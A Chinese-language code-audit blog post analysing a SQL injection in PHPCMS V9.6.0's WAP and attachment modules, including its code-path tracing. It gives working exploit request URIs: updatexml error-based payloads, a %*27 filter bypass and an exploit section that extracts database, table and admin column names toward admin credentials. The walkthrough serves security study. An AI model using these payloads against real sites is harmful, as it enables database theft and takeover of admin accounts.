2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞

本文详细介绍了PHPCMS V9.6.0 WAP模块存在的SQL注入漏洞,通过复现漏洞流程,展示了如何利用该漏洞获取数据库信息。利用过程中涉及多个HTTP请求步骤,包括设置和解密cookie,通过构造恶意URI触发SQL错误。最终,通过爆破获取数据库名、表名及字段,从而可能导致敏感信息泄露。文章还提供了编写EXP的示例,提醒读者仅用于技术研究,勿用于非法目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

PHPCMSV9.6.0 wap模块sql注入漏洞

漏洞环境:PHPCMSV9.6.0

 

实验环境的poc:

/index.php?m=wap&c=index&siteid=1
userid_flash=b3a3Dv_ICFSxJ_SDlQhbf6cdklSxsLje2RJwBTGknbusMO0
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
nQLyd_att_json=
/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

 

漏洞复现

把之前准备的poc(/index.php?m=wap&c=index&siteid=1)粘贴到地址栏,访问网址,开启burpsuite代理:

 

 

在burpsuite抓包软件中,右键Send to Repeater,修改数据包点击Go,如下所示:

 

服务器返回了一个cookie,udntD_siteid字段。

 

把udntD_siteid字段的值复制粘贴到userid_flash中:

userid_flash=4683sBPQGwA2ouyhewFlSKtPfoAV3d1qX5ts_-Yq

然后把GET请求改为POST请求,并把POST请求的数据改为如下所示:

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

服务器会返回一个cookie,cookie中有一个字段udntD_att_json是我们下一步要用到的。注意:如果返回的Response包报错,在Request请求包中加上content-Type:application/x-www-form-urlencoded

 

 

cookie中的udntD_att_json字段的值:

3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

把post请求的uri改为如下,并把cookie中的这个字段的值复制粘贴到post提交的a_k中,如下所示:

/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

再提交POST请求,服务器的http数据包会把数据库的报错信息返回:

Response包返回的mysql错误信息中爆出了数据库phpcmsv96,还包括数据库的用户名和地址(root@localhost),我们推测mysql数据库报错的原因应该是POST请求的uri有问题。

 

为了验证我们的推测,进一步分析POST请求的uri:这个http请求访问了content模块下的down源文件。

分析down源文件:

down文件的init函数里用到了a_k参数,但是http请求并没有调用任何函数,也就是说down文件应该是自动调用的,分别在构造函数和init函数添加两行代码看是否自动调用。

 

把POST请求的URI改为/index.php?m=content&c=down

从返回的信息来看,down文件中的init函数确实是自动执行的,这里我们重点分析init函数

 

打开google浏览器,开启xdebug调试

 

init函数首先接收a_k的值,通过sys_auth函数解密,解密后如下所示:

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

 

parse_str函数是对解密后的url进行解析并返回一个变量,最终获取到' and updatexml(1,concat(1,(user())),1)#这一部分:

updatexml在报错注入中经常用到的一个函数,继续跟踪代码分析后台是如何报错的。

 

接着调用了get_once函数:

public function get_one($data, $table, $where = '', $order = '', $group = '') {
   $where = $where == '' ? '' : ' WHERE '.$where;
   $order = $order == '' ? '' : ' ORDER BY '.$order;
   $group = $group == '' ? '' : ' GROUP BY '.$group;
   $limit = ' LIMIT 1';
   $field = explode( ',', $data);
   array_walk($field, array($this, 'add_special_char'));
   $data = implode(',', $field);

   $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
   $this->execute($sql);
   $res = $this->fetch_next();
   $this->free_result();
   return $res;
}

 

get_once函数里调用了execute函数执行了sql语句,最终导致mysql数据库报错。

 

漏洞复现完毕,梳理一下整个漏洞的利用流程:

第三步中漏洞利用的过程中sys_auth函数起到了很关键的作用,这里抛出一个问题:那么是谁调用了sys_auth函数解密?根据整个漏洞的利用过程,我们需要反过来分析第二步。

 

在phpstorm中找到attachment模块的attachments文件,分析swfupload_json函数:

swfupload_json函数会提取http请求的数据adi,src,filename存放到数组arr中(filename值为空是因为我们没有提交数据),调用json_encode对arr数组加密并转换成json数据格式json_str,然后调用set_cookie函数。

 

需要注意的是,http请求提交的src的值是:

%*27这样写的目的是为了绕过safe_replace函数的检测,%*27最终会匹配到*符号,过滤之后就成了%27(有兴趣的同学可以看下safe_replace函数的具体实现

 

在set_cookie函数中调用了sys_auth函数进行加密,调用setcookie函数设置到cookie

其中udntD_att_json字段的内容就是json_str的值,这也就说的通第三步http请求$a_k的值了。

 

现在又有一个新的问题:为什么这里会设置cookie?带着问题,我们继续分析第一步,注意:第一步的http请求调用了wap模块的index.php

注意:index.php文件只执行了构造函数(没有执行init函数),第9行代码经过了连续的三目运算判断,siteid的值为1,接着调用了set_cookie函数,把siteid作为参数传入set_cookie函数。

 

继续跟踪set_cookie函数

set_cookie函数的参数siteid赋值给value,现在value的值为1,第91行的is_array函数会对value进行判断,因为value不是数组则会执行第96行代码设置setcookie,调用sys_auth函数加密。

到这里,整个漏洞的利用过程分析完毕,第二个问题也迎刃而解。

 

还有一个小问题,第二步提交的http请求中,带了userid_flas参数,可能有同学会不解,说明一下:其目的是第二步的构造函数需要验证userid,想了解的同学可以在第二步debug跟踪验证userid的流程,这里不再演示。

 

 

编写exp

仅用于技术交流和研究使用,切勿用作其他非法用途,希望大家遵守相关法律法规,坚决抵制任何违法犯罪活动。

获取数据库名

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26


/index.php?m=content&c=down&a_k=607cobRAvXw5UHTgmC8eAceaa2O3S1apFTjwplAg5jBLsUBBT9sqicAXHQNDFAV9wv_mcepgtWYsIz5zu-OegyNNWkdB96BgSgJ-GZhOaurd4CyCVUizrLJvtAvUo4TOKKaQ3msYlKdz20wDFFNq7cMZ7_d_Di-QHLnXk_ycxYi4uftkFMKcZqYbEw_l

 

获取数据库表名

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200%2C1%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26


/index.php?m=content&c=down&a_k=8f45ay4YrQQ5GMdkRzI5nao6f5erP_Rqn9l98OCdmFl4yJ8FKJEMTS_e7nE3OPfFtN_FCkk9VWHOzZEVrGNpF-AKRJWq4fwhM1yebyXRyuC5pJxOB-2eLlB9-SLMOHeD7ibIXKPsGFZ7Jwvd7ebr89kn1HSZlBqfluR87QEk631XiLrmpzZpKqUY88q0oAvTFAhr_rAP5lFE6h8eYQvRn6YyUmWFg6YmHc63g4jwyznko1Eq4a6jkSXqbz6z1YDB_RnL8g2GL5clhe7Kt3_Re66HMiRfI0GbvNcmUxOB

通过来控制limit函数的第一个参数,依次爆破数据库的每张表名,还有一种方式就是通过group_concat函数对数据库表名进行拼接。

最终爆破出存储管理员用户名和密码的表名v9_6admin

 

 

获取表字段

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=%*27v9_6admin%*27%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26


/index.php?m=content&c=down&a_k=1494ZzfW09A5rCun4L9U7nB_Y_yRMI8rCLJL_CorQDIsVPI6P-47U0aDun95SdkcFXMvG42fpCMUjcD1ml5m8BaLfB6Bv2O7OPj34GV3E23ScaO5-N6DrOWfFhyQUKEHaO4QcsDpbrOyKn2UJum_WH4EVeQaMnMlcAh7wb-YsktlImMM6mEQGi4_yBZ1XyTUmyp15PfkiCntWCOh7X0A-05JtKEJcKMpBPVEmz8jB0RYSUYBtWMPP6Rh-WBUH-ryq_icLU5_1Is4uizNHtELKHhQBLzbL53taBuPQw6EnJPl15BaOcTqCjYc-x6FOpnCe4RIsfMZcP3OYVdU0xjia6hkwA

My SQL Error:爆出了v9_6admin表的所有字段。

通过字段,最终获取用户名和密码

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值